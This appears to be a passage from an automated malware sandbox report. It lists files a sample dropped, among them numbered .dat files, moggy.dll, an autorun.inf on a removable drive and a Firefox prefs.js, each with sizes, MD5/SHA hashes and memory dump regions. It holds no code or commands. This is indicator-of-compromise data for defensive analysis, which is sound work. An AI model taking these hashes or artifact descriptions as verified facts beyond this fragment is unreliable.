7b17253f1c8f37c68e00cf6830c1a62c5fd6617a22c5594ecc76787bef26f0d4632a1a5f3ded86b225ca9270d314f2465037e0c06597e19b3ecd90ab544d896f

Download Submit
C:\Users\Admin\AppData\Roaming\2.dat

Filesize
219B

MD5
3676ba592a32bb9434599226129d6825

SHA1
8f0612c1bcd02447b2e71268f704fed6d8b94e18

SHA256
416ae91ed63c27575f531034919192d8f5263c525c05a775d0948c55f5b43437

SHA512
39033c35de4d495584e2d8be606f58e5a07acb4c6f426a757a9f16c1b1ff8015fc9898aee8acd12aa5b768dfdff49e510f4573d48cb2ab08b13b7f2d2eb8a813

Download Submit
C:\Users\Admin\AppData\Roaming\3.dat

Filesize
34KB

MD5
5a630ca16e715633272d3994d4cfe79d

SHA1
bc3f62845989685321dfdf568c338103d3fa1e8c

SHA256
9a081ff2756d1b9b08538402a2f40b69f86d51b0a305f6d2c2ff29a0496f837e

SHA512
0c75b1cff44bf25d234ab072d8dbc488c67bf3610a9be2d1b58c49ede29bf092d015cc79f62545043abdcc3e5aa3798149d40b8210d274c9743bf3b24a36262e

Download Submit
C:\Users\Admin\AppData\Roaming\4.dat

Filesize
535B

MD5
9cac34f332cf836e17fc2f2fa2bb71e4

SHA1
d18afa52aeb5e2aa2c6d42bba50a0f7c9910dfb8

SHA256
a1454355e66bc7f6d45301b83b1bbfd8b6aa5fd8c53c283f3ae10aba3d8950a7

SHA512
b9ab7e6f465c6bcdfca25cd5e3f169771106e70cde4e946d887efc2676558b07eab1a0626b998406262f191f63e782a1a43bcf1e0654a1d7d98995deac534a1b

Download Submit
C:\Users\Admin\AppData\Roaming\5.dat

Filesize
441B

MD5
fa19559081b4ab5f084f93e66a9d42be

SHA1
8359e8bfe26390bb9bf36a553d0a59c0db711007

SHA256
b23940134fec85d6d0fa7e02e737a9e1ec046a05714b190fb4e70e97b96b989b

SHA512
345427a14b9544b8f811017363f8ca9a9f30be2783b7aeb0a1f145c3eadbe73fda7e20276087d4e0cbabd6dff9898ea49cbb23fca5f0875ef1dfc348822102cd

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\bs4a8d8y.default-release\prefs.js

Filesize
6KB

MD5
c6ce225597b6771464724a23c67548e2

SHA1
7e7fc7c6915c849ff095a01504d2122d8be51ac0

SHA256
08f5c75fee9c153d76b671966a75650989382a1f782a914b5242e981c70a9461

SHA512
a6b795278d3aa27c52a3dc19d00f95a32d3e6ce229a68bce2ba6645969df2451745e39ee3a906f0e96322b5cd3ab01c1ec71a3f7faf9d0f9ff63f886cefdf427

Download Submit
C:\Users\Admin\AppData\Roaming\moggy.dll

Filesize
191KB

MD5
277894bc5d4a6b9d12f9e448bc2c9be1

SHA1
d43e8cd6b1e3e78470cfe5f3f404dad3c1ba021d

SHA256
b622f7d414ba9b1d5331ce95a3c17de6b971abdeba7655fd351cb0076752e0a7

SHA512
4c5ac0aed159f41148bf9efee907175ee5aa46d62f8a04976cc958f7ae2b72aa4fe52d57c076be90d7e13b8a5d964b72bcedb5a3e07eec82637071528b3a85b2

Download Submit
F:\autorun.inf

Filesize
63B

MD5
f64baf418f685884efec59a9d80bc5f6

SHA1
9c90f7a7efd7ef3059837fdeb06b6b781ca6d1e9

SHA256
4b9870b1f52e252451b3fa099e8b270c32ddc6fc29372067be28dcd009ec4e8f

SHA512
dceecd6a564c974c71ceeb544b0dfde70a09315db6d72a50fdbecdc0cf505a7ce52b7a83a9a8c79e8cfbb996c054585da6d7c08bf0026b4d9ecdde5f0a2b2a69

Download Submit
\Users\Admin\AppData\Roaming\XIo2qNiS.XIo2qNiS

Filesize
314KB

MD5
3dd196b1825a07acc7a2271a883175c6

SHA1
9c41058cefc6bce0522ea5b3fdade70d77037e43

SHA256
ac8384e4df902baf9cc579e69f37c42f725369e4a72d7a3cd842537a5f617eed

SHA512
d454e9c32df19a069aac016a5b1fd498fa36c93cd6ff7cc9c7790656779e7315646c36fafa8a6808e4eea98531d60f43111c154a2fd065ceceec763f7fbd0df4

Download Submit
memory/600-87-0x00000000004B0000-0x00000000004B1000-memory.dmp

Filesize
4KB

Download
memory/1832-282-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/1832-4-0x0000000010000000-0x000000001005D000-memory.dmp

Filesize
372KB

Download
memory/2104-186-0x0000000010000000-0x0000000010035000-memory.dmp

Filesize
212KB

Download